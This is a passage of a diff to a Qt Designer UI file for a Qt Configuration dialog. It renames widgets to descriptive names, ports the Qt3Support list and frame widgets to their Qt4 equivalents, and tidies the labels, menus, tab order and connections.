    <string>Qt Configuration</string>
   </property>
   <widget class="QWidget" name="widget">
-   <property name="geometry">
-    <rect>
-     <x>0</x>
-     <y>26</y>
-     <width>815</width>
-     <height>690</height>
-    </rect>
-   </property>
    <layout class="QGridLayout" name="gridLayout">
     <property name="margin">
      <number>8</number>
     </property>
     <item row="0" column="0">
-     <widget class="QTextEdit" name="helpview">
+     <widget class="QTextEdit" name="helpView">
       <property name="minimumSize">
        <size>
         <width>200</width>
@@ -80,17 +72,17 @@
      </widget>
     </item>
     <item row="0" column="1">
-     <widget class="QTabWidget" name="TabWidget3">
+     <widget class="QTabWidget" name="mainTabWidget">
       <property name="currentIndex">
        <number>0</number>
       </property>
-      <widget class="QWidget" name="tab1">
+      <widget class="QWidget" name="appearanceTab">
        <attribute name="title">
         <string>Appearance</string>
        </attribute>
        <layout class="QGridLayout" name="gridLayout_5">
         <item row="0" column="0">
-         <widget class="QGroupBox" name="GroupBox40">
+         <widget class="QGroupBox" name="guiStyleGroup">
           <property name="sizePolicy">
            <sizepolicy hsizetype="Minimum" vsizetype="Preferred">
             <horstretch>0</horstretch>
@@ -114,7 +106,7 @@
             <number>8</number>
            </property>
            <item>
-            <widget class="QLabel" name="gstylebuddy">
+            <widget class="QLabel" name="guiStyleLabel">
              <property name="minimumSize">
               <size>
                <width>0</width>
@@ -125,18 +117,18 @@
               <string>Select GUI &amp;Style:</string>
              </property>
              <property name="buddy">
-              <cstring>gstylecombo</cstring>
+              <cstring>guiStyleCombo</cstring>
              </property>
             </widget>
            </item>
            <item>
-            <widget class="QComboBox" name="gstylecombo"/>
+            <widget class="QComboBox" name="guiStyleCombo"/>
            </item>
           </layout>
          </widget>
         </item>
         <item row="3" column="0">
-         <widget class="QGroupBox" name="groupPreview">
+         <widget class="QGroupBox" name="previewGroup">
           <property name="sizePolicy">
            <sizepolicy hsizetype="Preferred" vsizetype="Expanding">
             <horstretch>0</horstretch>
@@ -148,7 +140,7 @@
           </property>
           <layout class="QGridLayout" name="gridLayout_4">
            <item row="0" column="0">
-            <widget class="QLabel" name="TextLabel1">
+            <widget class="QLabel" name="paletteLabel">
              <property name="text">
               <string>Select &amp;Palette:</string>
              </property>
@@ -196,7 +188,7 @@
          </widget>
         </item>
         <item row="1" column="0">
-         <widget class="QGroupBox" name="groupAutoPalette">
+         <widget class="QGroupBox" name="buildPaletteGroup">
           <property name="sizePolicy">
            <sizepolicy hsizetype="Preferred" vsizetype="Maximum">
             <horstretch>0</horstretch>
@@ -222,7 +214,7 @@
               <item>
                <widget class="QLabel" name="labelMainColor">
                 <property name="text">
-                 <string>&amp;3-D Effects:</string>
+                 <string>&amp;Button Background:</string>
                 </property>
                 <property name="buddy">
                  <cstring>buttonMainColor</cstring>
@@ -233,7 +225,7 @@
                <widget class="ColorButton" name="buttonMainColor" native="true"/>
               </item>
               <item>
-               <widget class="QLabel" name="labelMainColor2">
+               <widget class="QLabel" name="labelWindowColor">
                 <property name="sizePolicy">
                  <sizepolicy hsizetype="Minimum" vsizetype="Minimum">
                   <horstretch>0</horstretch>
@@ -262,12 +254,12 @@
                  <number>0</number>
                 </property>
                 <property name="buddy">
-                 <cstring>buttonMainColor2</cstring>
+                 <cstring>buttonWindowColor</cstring>
                 </property>
                </widget>
               </item>
               <item>
-               <widget class="ColorButton" name="buttonMainColor2" native="true"/>
+               <widget class="ColorButton" name="buttonWindowColor" native="true"/>
               </item>
               <item>
                <spacer name="spacer">
@@ -286,7 +278,7 @@
                </spacer>
               </item>
               <item>
-               <widget class="QPushButton" name="btnAdvanced">
+               <widget class="QPushButton" name="tunePaletteButton">
                 <property name="text">
                  <string>&amp;Tune Palette...</string>
                 </property>
@@ -296,7 +288,7 @@
             </widget>
            </item>
            <item>
-            <widget class="QLabel" name="labelKDENote">
+            <widget class="QLabel" name="kdeNoteLabel">
              <property name="text">
               <string>Please use the KDE Control Center to set the palette.</string>
              </property>
@@ -307,13 +299,13 @@
         </item>
        </layout>
       </widget>
-      <widget class="QWidget" name="tab2">
+      <widget class="QWidget" name="fontsTab">
        <attribute name="title">
         <string>Fonts</string>
        </attribute>
        <layout class="QVBoxLayout">
         <item>
-         <widget class="QGroupBox" name="GroupBox1">
+         <widget class="QGroupBox" name="defaultFontGroup">
           <property name="title">
            <string>Default Font</string>
           </property>
@@ -325,7 +317,7 @@
             <number>4</number>
            </property>
            <item row="1" column="1">
-            <widget class="QComboBox" name="stylecombo">
+            <widget class="QComboBox" name="fontStyleCombo">
              <property name="autoCompletion">
               <bool>true</bool>
              </property>
@@ -335,7 +327,7 @@
             </widget>
            </item>
            <item row="0" column="1">
-            <widget class="QComboBox" name="familycombo">
+            <widget class="QComboBox" name="fontFamilyCombo">
              <property name="autoCompletion">
               <bool>true</bool>
              </property>
@@ -345,7 +337,7 @@
             </widget>
            </item>
            <item row="2" column="1">
-            <widget class="QComboBox" name="psizecombo">
+            <widget class="QComboBox" name="pointSizeCombo">
              <property name="editable">
               <bool>true</bool>
              </property>
@@ -358,37 +350,37 @@
             </widget>
            </item>
            <item row="1" column="0">
-            <widget class="QLabel" name="stylebuddy">
+            <widget class="QLabel" name="fontStyleLabel">
              <property name="text">
               <string>&amp;Style:</string>
              </property>
              <property name="buddy">
-              <cstring>stylecombo</cstring>
+              <cstring>fontStyleCombo</cstring>
              </property>
             </widget>
            </item>
            <item row="2" column="0">
-            <widget class="QLabel" name="psizebuddy">
+            <widget class="QLabel" name="pointSizeLabel">
              <property name="text">
               <string>&amp;Point Size:</string>
              </property>
              <property name="buddy">
-              <cstring>psizecombo</cstring>
+              <cstring>pointSizeCombo</cstring>
              </property>
             </widget>
            </item>
            <item row="0" column="0">
-            <widget class="QLabel" name="familybuddy">
+            <widget class="QLabel" name="fontFamilyLabel">
              <property name="text">
               <string>F&amp;amily:</string>
              </property>
              <property name="buddy">
-              <cstring>familycombo</cstring>
+              <cstring>fontFamilyCombo</cstring>
              </property>
             </widget>
            </item>
            <item row="3" column="0" colspan="2">
-            <widget class="QLineEdit" name="samplelineedit">
+            <widget class="QLineEdit" name="sampleLineEdit">
              <property name="text">
               <string>Sample Text</string>
              </property>
@@ -401,7 +393,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QGroupBox" name="GroupBox2">
+         <widget class="QGroupBox" name="fontSubstitutionGroup">
           <property name="title">
            <string>Font Substitution</string>
           </property>
@@ -421,17 +413,17 @@
               <number>0</number>
              </property>
              <item>
-              <widget class="QLabel" name="famsubbuddy">
+              <widget class="QLabel" name="familySubstitutionLabel">
                <property name="text">
                 <string>S&amp;elect or Enter a Family:</string>
                </property>
                <property name="buddy">
-                <cstring>familysubcombo</cstring>
+                <cstring>familySubstitutionCombo</cstring>
                </property>
               </widget>
              </item>
              <item>
-              <widget class="QComboBox" name="familysubcombo">
+              <widget class="QComboBox" name="familySubstitutionCombo">
                <property name="editable">
                 <bool>true</bool>
                </property>
@@ -459,14 +451,14 @@
             </widget>
            </item>
            <item>
-            <widget class="QLabel" name="TextLabel5">
+            <widget class="QLabel" name="substitutionsLabel">
              <property name="text">
               <string>Current Substitutions:</string>
              </property>
             </widget>
            </item>
            <item>
-            <widget class="Q3ListBox" name="sublistbox"/>
+            <widget class="QListWidget" name="substitutionsListBox"/>
            </item>
            <item>
             <layout class="QHBoxLayout">
@@ -477,21 +469,21 @@
               <number>0</number>
              </property>
              <item>
-              <widget class="QPushButton" name="PushButton2">
+              <widget class="QPushButton" name="upSubstitutionButton">
                <property name="text">
                 <string>Up</string>
                </property>
               </widget>
              </item>
              <item>
-              <widget class="QPushButton" name="PushButton3">
+              <widget class="QPushButton" name="downSubstitutionButton">
                <property name="text">
                 <string>Down</string>
                </property>
               </widget>
              </item>
              <item>
-              <widget class="QPushButton" name="PushButton4">
+              <widget class="QPushButton" name="removeSubstitutionButton">
                <property name="text">
                 <string>Remove</string>
                </property>
@@ -521,17 +513,17 @@
               <number>0</number>
              </property>
              <item>
-              <widget class="QLabel" name="choosebuddy">
+              <widget class="QLabel" name="chooseSubstitutionLabel">
                <property name="text">
                 <string>Select s&amp;ubstitute Family:</string>
                </property>
                <property name="buddy">
-                <cstring>choosesubcombo</cstring>
+                <cstring>chooseSubstitutionCombo</cstring>
                </property>
               </widget>
              </item>
              <item>
-              <widget class="QComboBox" name="choosesubcombo">
+              <widget class="QComboBox" name="chooseSubstitutionCombo">
                <property name="autoCompletion">
                 <bool>true</bool>
                </property>
@@ -541,7 +533,7 @@
               </widget>
              </item>
              <item>
-              <widget class="QPushButton" name="PushButton1">
+              <widget class="QPushButton" name="addSubstitutionButton">
                <property name="text">
                 <string>Add</string>
                </property>
@@ -554,13 +546,13 @@
         </item>
        </layout>
       </widget>
-      <widget class="QWidget" name="tab">
+      <widget class="QWidget" name="interfaceTab">
        <attribute name="title">
         <string>Interface</string>
        </attribute>
        <layout class="QVBoxLayout">
         <item>
-         <widget class="QGroupBox" name="GroupBox4">
+         <widget class="QGroupBox" name="feelSettingsGroup">
           <property name="title">
            <string>Feel Settings</string>
           </property>
@@ -572,7 +564,7 @@
             <number>4</number>
            </property>
            <item row="0" column="1">
-            <widget class="QSpinBox" name="dcispin">
+            <widget class="QSpinBox" name="doubleClickIntervalSpinBox">
              <property name="suffix">
               <string> ms</string>
              </property>
@@ -585,17 +577,17 @@
             </widget>
            </item>
            <item row="0" column="0">
-            <widget class="QLabel" name="dcibuddy">
+            <widget class="QLabel" name="doubleClickIntervalLabel">
              <property name="text">
               <string>&amp;Double Click Interval:</string>
              </property>
              <property name="buddy">
-              <cstring>dcispin</cstring>
+              <cstring>doubleClickIntervalSpinBox</cstring>
              </property>
             </widget>
            </item>
            <item row="1" column="1">
-            <widget class="QSpinBox" name="cfispin">
+            <widget class="QSpinBox" name="cursorFlashTimeSpinBox">
              <property name="specialValueText">
               <string>No blinking</string>
              </property>
@@ -611,17 +603,17 @@
             </widget>
            </item>
            <item row="1" column="0">
-            <widget class="QLabel" name="cfibuddy">
+            <widget class="QLabel" name="cursorFlashTimeLabel">
              <property name="text">
               <string>&amp;Cursor Flash Time:</string>
              </property>
              <property name="buddy">
-              <cstring>cfispin</cstring>
+              <cstring>cursorFlashTimeSpinBox</cstring>
              </property>
             </widget>
            </item>
            <item row="2" column="1">
-            <widget class="QSpinBox" name="wslspin">
+            <widget class="QSpinBox" name="wheelScrollLinesSpinBox">
              <property name="suffix">
               <string> lines</string>
              </property>
@@ -634,17 +626,17 @@
             </widget>
            </item>
            <item row="2" column="0">
-            <widget class="QLabel" name="wslbuddy">
+            <widget class="QLabel" name="wheelScrollLinesLabel">
              <property name="text">
               <string>Wheel &amp;Scroll Lines:</string>
              </property>
              <property name="buddy">
-              <cstring>wslspin</cstring>
+              <cstring>wheelScrollLinesSpinBox</cstring>
              </property>
             </widget>
            </item>
            <item row="3" column="0" colspan="2">
-            <widget class="QCheckBox" name="resolvelinks">
+            <widget class="QCheckBox" name="resolveLinksCheckBox">
              <property name="text">
               <string>Resolve symlinks in URLs</string>
              </property>
@@ -654,7 +646,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QGroupBox" name="GroupBox3">
+         <widget class="QGroupBox" name="guiEffectsGroup">
           <property name="title">
            <string>GUI Effects</string>
           </property>
@@ -666,7 +658,7 @@
             <number>8</number>
            </property>
            <item>
-            <widget class="QCheckBox" name="effectcheckbox">
+            <widget class="QCheckBox" name="effectsCheckBox">
              <property name="text">
               <string>&amp;Enable</string>
              </property>
@@ -676,62 +668,53 @@
             </widget>
            </item>
            <item>
-            <widget class="Q3Frame" name="effectbase">
-             <property name="frameShape">
-              <enum>QFrame::NoFrame</enum>
-             </property>
-             <property name="frameShadow">
-              <enum>QFrame::Plain</enum>
-             </property>
+            <widget class="QFrame" name="effectsFrame">
              <layout class="QGridLayout">
-              <property name="margin">
-               <number>0</number>
-              </property>
               <property name="spacing">
                <number>4</number>
               </property>
               <item row="0" column="0">
-               <widget class="QLabel" name="meffectbuddy">
+               <widget class="QLabel" name="menuEffectLabel">
                 <property name="text">
                  <string>&amp;Menu Effect:</string>
                 </property>
                 <property name="buddy">
-                 <cstring>menueffect</cstring>
+                 <cstring>menuEffectCombo</cstring>
                 </property>
                </widget>
               </item>
               <item row="1" column="0">
-               <widget class="QLabel" name="ceffectbuddy">
+               <widget class="QLabel" name="comboEffectLabel">
                 <property name="text">
                  <string>C&amp;omboBox Effect:</string>
                 </property>
                 <property name="buddy">
-                 <cstring>comboeffect</cstring>
+                 <cstring>comboEffectCombo</cstring>
                 </property>
                </widget>
               </item>
               <item row="2" column="0">
-               <widget class="QLabel" name="teffectbuddy">
+               <widget class="QLabel" name="toolTipEffectLabel">
                 <property name="text">
                  <string>&amp;ToolTip Effect:</string>
                 </property>
                 <property name="buddy">
-                 <cstring>tooltipeffect</cstring>
+                 <cstring>toolTipEffectCombo</cstring>
                 </property>
                </widget>
               </item>
               <item row="3" column="0">
-               <widget class="QLabel" name="beffectbuddy">
+               <widget class="QLabel" name="toolBoxEffectLabel">
                 <property name="text">
                  <string>Tool&amp;Box Effect:</string>
                 </property>
                 <property name="buddy">
-                 <cstring>toolboxeffect</cstring>
+                 <cstring>toolBoxEffectCombo</cstring>
                 </property>
                </widget>
               </item>
               <item row="0" column="1">
-               <widget class="QComboBox" name="menueffect">
+               <widget class="QComboBox" name="menuEffectCombo">
                 <property name="currentIndex">
                  <number>0</number>
                 </property>
@@ -756,7 +739,7 @@
                </widget>
               </item>
               <item row="1" column="1">
-               <widget class="QComboBox" name="comboeffect">
+               <widget class="QComboBox" name="comboEffectCombo">
                 <item>
                  <property name="text">
                   <string>Disable</string>
@@ -770,7 +753,7 @@
                </widget>
               </item>
               <item row="2" column="1">
-               <widget class="QComboBox" name="tooltipeffect">
+               <widget class="QComboBox" name="toolTipEffectCombo">
                 <item>
                  <property name="text">
                   <string>Disable</string>
@@ -789,7 +772,7 @@
                </widget>
               </item>
               <item row="3" column="1">
-               <widget class="QComboBox" name="toolboxeffect">
+               <widget class="QComboBox" name="toolBoxEffectCombo">
                 <item>
                  <property name="text">
                   <string>Disable</string>
@@ -809,7 +792,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QGroupBox" name="GroupBox5">
+         <widget class="QGroupBox" name="globalStrutGroup">
           <property name="title">
            <string>Global Strut</string>
           </property>
@@ -821,27 +804,27 @@
             <number>4</number>
            </property>
            <item row="0" column="0">
-            <widget class="QLabel" name="swbuddy">
+            <widget class="QLabel" name="strutWidthLabel">
              <property name="text">
               <string>Minimum &amp;Width:</string>
              </property>
              <property name="buddy">
-              <cstring>strutwidth</cstring>
+              <cstring>strutWidthSpinBox</cstring>
              </property>
             </widget>
            </item>
            <item row="1" column="0">
-            <widget class="QLabel" name="shbuddy">
+            <widget class="QLabel" name="strutHeightLabel">
              <property name="text">
               <string>Minimum Hei&amp;ght:</string>
              </property>
              <property name="buddy">
-              <cstring>strutheight</cstring>
+              <cstring>strutHeightSpinBox</cstring>
              </property>
             </widget>
            </item>
            <item row="0" column="1">
-            <widget class="QSpinBox" name="strutwidth">
+            <widget class="QSpinBox" name="strutWidthSpinBox">
              <property name="suffix">
               <string> pixels</string>
              </property>
@@ -851,7 +834,7 @@
             </widget>
            </item>
            <item row="1" column="1">
-            <widget class="QSpinBox" name="strutheight">
+            <widget class="QSpinBox" name="strutHeightSpinBox">
              <property name="suffix">
               <string> pixels</string>
              </property>
@@ -864,7 +847,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QCheckBox" name="rtlExtensions">
+         <widget class="QCheckBox" name="rtlExtensionsCheckBox">
           <property name="text">
            <string>Enhanced support for languages written right-to-left</string>
           </property>
@@ -878,7 +861,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QComboBox" name="inputStyle">
+         <widget class="QComboBox" name="inputStyleCombo">
           <property name="currentIndex">
            <number>0</number>
           </property>
@@ -912,7 +895,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QComboBox" name="inputMethod">
+         <widget class="QComboBox" name="inputMethodCombo">
           <property name="currentIndex">
            <number>-1</number>
           </property>
@@ -936,13 +919,13 @@
         </item>
        </layout>
       </widget>
-      <widget class="QWidget" name="tab3">
+      <widget class="QWidget" name="printerTab">
        <attribute name="title">
         <string>Printer</string>
        </attribute>
        <layout class="QVBoxLayout">
         <item>
-         <widget class="QCheckBox" name="fontembeddingcheckbox">
+         <widget class="QCheckBox" name="fontEmbeddingCheckBox">
           <property name="text">
            <string>Enable Font embedding</string>
           </property>
@@ -952,7 +935,7 @@
          </widget>
         </item>
         <item>
-         <widget class="QGroupBox" name="GroupBox10">
+         <widget class="QGroupBox" name="fontPathsGroup">
           <property name="sizePolicy">
            <sizepolicy hsizetype="Preferred" vsizetype="Expanding">
             <horstretch>0</horstretch>
@@ -978,28 +961,28 @@
               <number>4</number>
              </property>
              <item row="1" column="0">
-              <widget class="QPushButton" name="PushButton11">
+              <widget class="QPushButton" name="upFontpathButton">
                <property name="text">
                 <string>Up</string>
                </property>
               </widget>
              </item>
              <item row="1" column="2">
-              <widget class="QPushButton" name="PushButton13">
+              <widget class="QPushButton" name="removeFontpathButton">
                <property name="text">
                 <string>Remove</string>
                </property>
               </widget>
              </item>
              <item row="1" column="1">
-              <widget class="QPushButton" name="PushButton12">
+              <widget class="QPushButton" name="downFontpathButton">
                <property name="text">
                 <string>Down</string>
                </property>
               </widget>
              </item>
              <item row="0" column="0" colspan="3">
-              <widget class="Q3ListBox" name="fontpathlistbox"/>
+              <widget class="QListWidget" name="fontpathListBox"/>
              </item>
             </layout>
            </item>
@@ -1028,28 +1011,28 @@
               </spacer>
              </item>
              <item row="2" column="2">
-              <widget class="QPushButton" name="PushButton15">
+              <widget class="QPushButton" name="addFontPathButton">
                <property name="text">
                 <string>Add</string>
                </property>
               </widget>
              </item>
              <item row="2" column="1">
-              <widget class="QPushButton" name="PushButton14">
+              <widget class="QPushButton" name="browseFontPathButton">
                <property name="text">
                 <string>Browse...</string>
                </property>
               </widget>
              </item>
              <item row="0" column="0" colspan="3">
-              <widget class="QLabel" name="TextLabel15_2">
+              <widget class="QLabel" name="browseFontPathLabel">
                <property name="text">
                 <string>Press the &lt;b&gt;Browse&lt;/b&gt; button or enter a directory and press Enter to add them to the list.</string>
                </property>
               </widget>
              </item>
              <item row="1" column="0" colspan="3">
-              <widget class="QLineEdit" name="fontpathlineedit"/>
+              <widget class="QLineEdit" name="fontPathLineEdit"/>
              </item>
             </layout>
            </item>
@@ -1058,19 +1041,19 @@
         </item>
        </layout>
       </widget>
-      <widget class="QWidget" name="tab4">
+      <widget class="QWidget" name="phononTab">
        <attribute name="title">
         <string>Phonon</string>
        </attribute>
        <layout class="QVBoxLayout" name="verticalLayout">
         <item>
-         <widget class="QGroupBox" name="groupBox_4">
+         <widget class="QGroupBox" name="aboutPhononGroup">
           <property name="title">
            <string>About Phonon</string>
           </property>
           <layout class="QGridLayout" name="gridLayout_2">
            <item row="0" column="0">
-            <widget class="QLabel" name="label_7">
+            <widget class="QLabel" name="phononVersionBuddyLabel">
              <property name="text">
               <string>Current Version:</string>
              </property>
@@ -1084,20 +1067,16 @@
             </widget>
            </item>
            <item row="1" column="0">
-            <widget class="QLabel" name="label_5">
+            <widget class="QLabel" name="phononWebsiteBuddyLabel">
              <property name="text">
               <string>Website:</string>
              </property>
             </widget>
            </item>
            <item row="1" column="1">
-            <widget class="QLabel" name="gstversionLabel_3">
+            <widget class="QLabel" name="phononWebsiteLabel">
              <property name="text">
-              <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
-&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
-p, li { white-space: pre-wrap; }
-&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
-&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://phonon.kde.org&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0000ff;&quot;&gt;http://phonon.kde.org&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
+              <string>&lt;a href=&quot;http://phonon.kde.org&quot;&gt;http://phonon.kde.org/&lt;/a&gt;</string>
              </property>
              <property name="openExternalLinks">
               <bool>true</bool>
@@ -1108,40 +1087,36 @@ p, li { white-space: pre-wrap; }
          </widget>
         </item>
         <item>
-         <widget class="QGroupBox" name="groupBox_3">
+         <widget class="QGroupBox" name="aboutGStreamerGroup">
           <property name="title">
            <string>About GStreamer</string>
           </property>
           <layout class="QGridLayout">
            <item row="0" column="0">
-            <widget class="QLabel" name="label_3">
+            <widget class="QLabel" name="gstVersionBuddyLabel">
              <property name="text">
               <string>Current Version:</string>
              </property>
             </widget>
            </item>
            <item row="0" column="1">
-            <widget class="QLabel" name="gstversionLabel">
+            <widget class="QLabel" name="gstVersionLabel">
              <property name="text">
               <string>Not available</string>
              </property>
             </widget>
            </item>
            <item row="1" column="0">
-            <widget class="QLabel" name="label_4">
+            <widget class="QLabel" name="gstWebsiteBuddyLabel">
              <property name="text">
               <string>Website:</string>
              </property>
             </widget>
            </item>
            <item row="1" column="1">
-            <widget class="QLabel" name="gstversionLabel_2">
+            <widget class="QLabel" name="gstWebsiteLabel">
              <property name="text">
-              <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
-&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
-p, li { white-space: pre-wrap; }
-&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
-&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://gstreamer.freedesktop.org/&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0000ff;&quot;&gt;http://gstreamer.freedesktop.org/&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
+              <string>&lt;a href=&quot;http://gstreamer.freedesktop.org/&quot;&gt;http://gstreamer.freedesktop.org/&lt;/a&gt;</string>
              </property>
              <property name="openExternalLinks">
               <bool>true</bool>
@@ -1152,13 +1127,13 @@ p, li { white-space: pre-wrap; }
          </widget>
         </item>
         <item>
-         <widget class="QGroupBox" name="groupBox">
+         <widget class="QGroupBox" name="gstBackendGroup">
           <property name="title">
            <string>GStreamer backend settings</string>
           </property>
           <layout class="QGridLayout" name="gridLayout_3">
            <item row="0" column="0">
-            <widget class="QLabel" name="label">
+            <widget class="QLabel" name="audiosinkLabel">
              <property name="text">
               <string>Preferred audio sink:</string>
              </property>
@@ -1171,7 +1146,7 @@ p, li { white-space: pre-wrap; }
             <widget class="QComboBox" name="audiosinkCombo"/>
            </item>
            <item row="1" column="0">
-            <widget class="QLabel" name="label_2">
+            <widget class="QLabel" name="videomodeLabel">
              <property name="text">
               <string>Preferred render method:</string>
              </property>
@@ -1184,7 +1159,7 @@ p, li { white-space: pre-wrap; }
             <widget class="QComboBox" name="videomodeCombo"/>
            </item>
            <item row="2" column="0" colspan="2">
-            <widget class="QLabel" name="label_6">
+            <widget class="QLabel" name="gstBackendNoteLabel">
              <property name="text">
               <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
 &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
@@ -1235,41 +1210,38 @@ p, li { white-space: pre-wrap; }
     </item>
    </layout>
   </widget>
-  <widget class="QMenuBar" name="menubar">
+  <widget class="QMenuBar" name="mainMenu">
    <property name="geometry">
     <rect>
      <x>0</x>
      <y>0</y>
      <width>815</width>
-     <height>26</height>
+     <height>19</height>
     </rect>
    </property>
-   <widget class="QMenu" name="PopupMenu">
+   <widget class="QMenu" name="fileMenu">
     <property name="geometry">
      <rect>
-      <x>0</x>
-      <y>0</y>
-      <width>123</width>
-      <height>92</height>
+      <x>203</x>
+      <y>114</y>
+      <width>161</width>
+      <height>110</height>
      </rect>
     </property>
     <property name="title">
      <string>&amp;File</string>
     </property>
-    <action name=""/>
-    <action name=""/>
-    <action name=""/>
     <addaction name="fileSaveAction"/>
     <addaction name="separator"/>
     <addaction name="fileExitAction"/>
    </widget>
-   <widget class="QMenu" name="PopupMenu_2">
+   <widget class="QMenu" name="saveMenu">
     <property name="geometry">
      <rect>
-      <x>0</x>
-      <y>0</y>
-      <width>123</width>
-      <height>90</height>
+      <x>543</x>
+      <y>98</y>
+      <width>161</width>
+      <height>106</height>
      </rect>
     </property>
     <property name="title">
@@ -1278,12 +1250,9 @@ p, li { white-space: pre-wrap; }
     <addaction name="helpAboutAction"/>
     <addaction name="helpAboutQtAction"/>
    </widget>
-   <action name=""/>
-   <action name=""/>
-   <action name=""/>
-   <addaction name="PopupMenu"/>
+   <addaction name="fileMenu"/>
    <addaction name="separator"/>
-   <addaction name="PopupMenu_2"/>
+   <addaction name="saveMenu"/>
   </widget>
   <action name="fileSaveAction">
    <property name="text">
@@ -1304,7 +1273,7 @@ p, li { white-space: pre-wrap; }
     <string>Exit</string>
    </property>
    <property name="shortcut">
-    <string/>
+    <string>Ctrl+Q</string>
    </property>
   </action>
   <action name="helpAboutAction">
@@ -1329,23 +1298,6 @@ p, li { white-space: pre-wrap; }
  </widget>
  <customwidgets>
   <customwidget>
-   <class>Q3Frame</class>
-   <extends>QFrame</extends>
-   <header>Qt3Support/Q3Frame</header>
-   <container>1</container>
-  </customwidget>
-  <customwidget>
-   <class>Q3MainWindow</class>
-   <extends>QWidget</extends>
-   <header>q3mainwindow.h</header>
-   <container>1</container>
-  </customwidget>
-  <customwidget>
-   <class>Q3ListBox</class>
-   <extends>Q3Frame</extends>
-   <header>q3listbox.h</header>
-  </customwidget>
-  <customwidget>
    <class>ColorButton</class>
    <extends></extends>
    <header>colorbutton.h</header>
@@ -1357,28 +1309,80 @@ p, li { white-space: pre-wrap; }
   </customwidget>
  </customwidgets>
  <tabstops>
-  <tabstop>helpview</tabstop>
-  <tabstop>familycombo</tabstop>
-  <tabstop>stylecombo</tabstop>
-  <tabstop>psizecombo</tabstop>
-  <tabstop>samplelineedit</tabstop>
-  <tabstop>familysubcombo</tabstop>
-  <tabstop>PushButton2</tabstop>
-  <tabstop>PushButton3</tabstop>
-  <tabstop>PushButton4</tabstop>
-  <tabstop>choosesubcombo</tabstop>
-  <tabstop>PushButton1</tabstop>
-  <tabstop>dcispin</tabstop>
-  <tabstop>cfispin</tabstop>
-  <tabstop>wslspin</tabstop>
-  <tabstop>effectcheckbox</tabstop>
-  <tabstop>menueffect</tabstop>
-  <tabstop>comboeffect</tabstop>
-  <tabstop>tooltipeffect</tabstop>
-  <tabstop>strutwidth</tabstop>
-  <tabstop>strutheight</tabstop>
-  <tabstop>sublistbox</tabstop>
+  <tabstop>helpView</tabstop>
+  <tabstop>mainTabWidget</tabstop>
+  <tabstop>guiStyleCombo</tabstop>
+  <tabstop>tunePaletteButton</tabstop>
+  <tabstop>paletteCombo</tabstop>
+  <tabstop>fontFamilyCombo</tabstop>
+  <tabstop>fontStyleCombo</tabstop>
+  <tabstop>pointSizeCombo</tabstop>
+  <tabstop>sampleLineEdit</tabstop>
+  <tabstop>familySubstitutionCombo</tabstop>
+  <tabstop>substitutionsListBox</tabstop>
+  <tabstop>upSubstitutionButton</tabstop>
+  <tabstop>downSubstitutionButton</tabstop>
+  <tabstop>removeSubstitutionButton</tabstop>
+  <tabstop>chooseSubstitutionCombo</tabstop>
+  <tabstop>addSubstitutionButton</tabstop>
+  <tabstop>doubleClickIntervalSpinBox</tabstop>
+  <tabstop>cursorFlashTimeSpinBox</tabstop>
+  <tabstop>wheelScrollLinesSpinBox</tabstop>
+  <tabstop>resolveLinksCheckBox</tabstop>
+  <tabstop>effectsCheckBox</tabstop>
+  <tabstop>menuEffectCombo</tabstop>
+  <tabstop>comboEffectCombo</tabstop>
+  <tabstop>toolTipEffectCombo</tabstop>
+  <tabstop>toolBoxEffectCombo</tabstop>
+  <tabstop>strutWidthSpinBox</tabstop>
+  <tabstop>strutHeightSpinBox</tabstop>
+  <tabstop>rtlExtensionsCheckBox</tabstop>
+  <tabstop>inputStyleCombo</tabstop>
+  <tabstop>inputMethodCombo</tabstop>
+  <tabstop>fontEmbeddingCheckBox</tabstop>
+  <tabstop>fontpathListBox</tabstop>
+  <tabstop>upFontpathButton</tabstop>
+  <tabstop>downFontpathButton</tabstop>
+  <tabstop>removeFontpathButton</tabstop>
+  <tabstop>fontPathLineEdit</tabstop>
+  <tabstop>browseFontPathButton</tabstop>
+  <tabstop>addFontPathButton</tabstop>
+  <tabstop>audiosinkCombo</tabstop>
+  <tabstop>videomodeCombo</tabstop>
  </tabstops>
  <resources/>
- <connections/>
+ <connections>
+  <connection>
+   <sender>effectsCheckBox</sender>
+   <signal>toggled(bool)</signal>
+   <receiver>effectsFrame</receiver>
+   <slot>setEnabled(bool)</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>417</x>
+     <y>257</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>578</x>
+     <y>379</y>
